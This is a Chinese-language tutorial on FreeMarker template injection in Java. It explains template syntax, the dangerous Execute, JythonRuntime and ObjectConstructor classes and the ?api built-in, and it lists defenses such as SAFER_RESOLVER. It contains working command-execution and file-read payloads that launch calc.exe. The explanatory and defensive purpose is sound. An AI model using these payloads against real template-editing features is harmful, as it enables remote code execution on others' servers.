JAVA安全之FreeMark模板注入刨析
字数 1287 2025-08-22 12:22:37
FreeMarker模板注入深入分析与防御指南
一、FreeMarker基础介绍
FreeMarker是一个基于Java的模板引擎,广泛用于生成文本输出(HTML网页、电子邮件、配置文件等)。其核心设计目标是实现数据与模板的分离。
FreeMarker模板语言(FTL)组成
- 文本:固定内容,原样输出
- 插值:
${...}语法,计算后输出 - FTL指令:
<#xxx ...>实现特殊功能 - 注释:
<#-- xxxxx -->,不会输出
基本语法示例
<!DOCTYPE html>
<html>
<head>
<title>FreeMark</title>
</head>
<body>
<h1>欢迎来到 FreeMark</h1>
<ul>
<#-- 循环渲染导航条 -->
<#list menuItems as item>
<li><a href="${item.url}">${item.label}</a></li>
</#list>
</ul>
<#-- 底部版权信息(注释部分,不会被输出) -->
<footer>${currentYear} FreeMark. All rights reserved.</footer>
</body>
</html>
二、FreeMarker核心语法
1. 变量插入
${variableName}
2. 控制结构
<#if condition>
Do something
<#else>
Do something else
</#if>
3. 变量赋值
<#assign greeting = "Hello, world!">
${greeting}
4. 循环遍历
<#list items as item>
${item}
</#list>
5. 宏定义
<#macro greet name>
Hello, ${name}!
</#macro>
<@greet "John"/> <!-- 输出: Hello, John! -->
6. 条件判断
<#if age >= 18>
You are an adult.
<#elseif age >= 13>
You are a teenager.
<#else>
You are a child.
</#if>
7. 包含导入
<#include "header.ftl">
<#import "macros.ftl" as macros>
<@macros.greet("Jane")/>
8. 错误处理
<#if variableName??>
Variable exists.
<#else>
Variable does not exist.
</#if>
${nonExistentVariable!"Default value"}
三、FreeMarker模板注入漏洞分析
漏洞原理
当攻击者能够控制模板内容时,可利用FreeMarker的?new和?api功能实例化危险Java类或调用危险方法,导致RCE。
漏洞利用场景
- CMS后台提供模板编辑功能
- 模板自定义功能
- 用户输入直接拼接到模板中
危险类分析
1. freemarker.template.utility.Execute
public class Execute implements TemplateMethodModel {
public Object exec(List arguments) throws TemplateModelException {
String aExecute = (String)((String)arguments.get(0));
Process exec = Runtime.getRuntime().exec(aExecute);
// ...
}
}
利用载荷:
<#assign value = "freemarker.template.utility.Execute"?new()>
${value("cmd.exe /c calc")}
2. freemarker.template.utility.JythonRuntime
依赖:
<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.7.0</version>
</dependency>
利用载荷:
<#assign value = "freemarker.template.utility.JythonRuntime"?new()>
<@value>import os; os.system("cmd.exe /c calc")</@value>
3. freemarker.template.utility.ObjectConstructor
<#assign value = "freemarker.template.utility.ObjectConstructor"?new()>
${value("java.lang.ProcessBuilder", "cmd.exe", "/c", "calc").start()}
API利用技术
需在application.properties中启用:
spring.freemarker.settings.api_builtin_enabled=true
文件读取载荷:
<#assign is = object?api.class.getResourceAsStream("/Test.class")>
FILE:[
<#list 0..999999999 as _>
<#assign byte = is.read()>
<#if byte == -1>
<#break>
</#if>
${byte},
</#list>
]
命令执行载荷:
<#assign classLoader = object?api.class.protectionDomain.classLoader>
<#assign clazz = classLoader.loadClass("ClassExposingGSON")>
<#assign field = clazz?api.getField("GSON")>
<#assign gson = field?api.get(null)>
<#assign ex = gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("calc")}
四、FreeMarker安全机制
黑名单机制
FreeMarker维护了unsafeMethods.properties黑名单,禁止调用危险方法如:
java.lang.Runtime.exec()java.lang.Class.newInstance()java.lang.Class.getClassLoader()- 等
防御措施
1. 设置安全解析器
freeMarkerConfig.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
三种解析器级别:
UNRESTRICTED_RESOLVER:允许任何类SAFER_RESOLVER:默认安全级别,禁止三个危险类ALLOWS_NOTHING_RESOLVER:禁止任何类
2. 禁用API功能
spring.freemarker.settings.api_builtin_enabled=false
3. 输入过滤
对用户提供的模板内容进行严格过滤,特别是?new和?api的使用
五、漏洞调试分析
- 在
template.process处下断点 - 跟踪
createProcessingEnvironment方法 - 分析
visit方法遍历AST的过程 - 观察
accept和eval方法的调用链 - 最终到达
Runtime.getRuntime().exec()执行点
六、总结
FreeMarker模板注入漏洞的核心在于:
- 攻击者能够控制模板内容
- 利用
?new或?api功能实例化危险类或调用危险方法 - 绕过安全限制执行任意代码
防御关键在于:
- 使用安全解析器
- 限制API功能
- 严格控制模板编辑权限
- 定期更新FreeMarker版本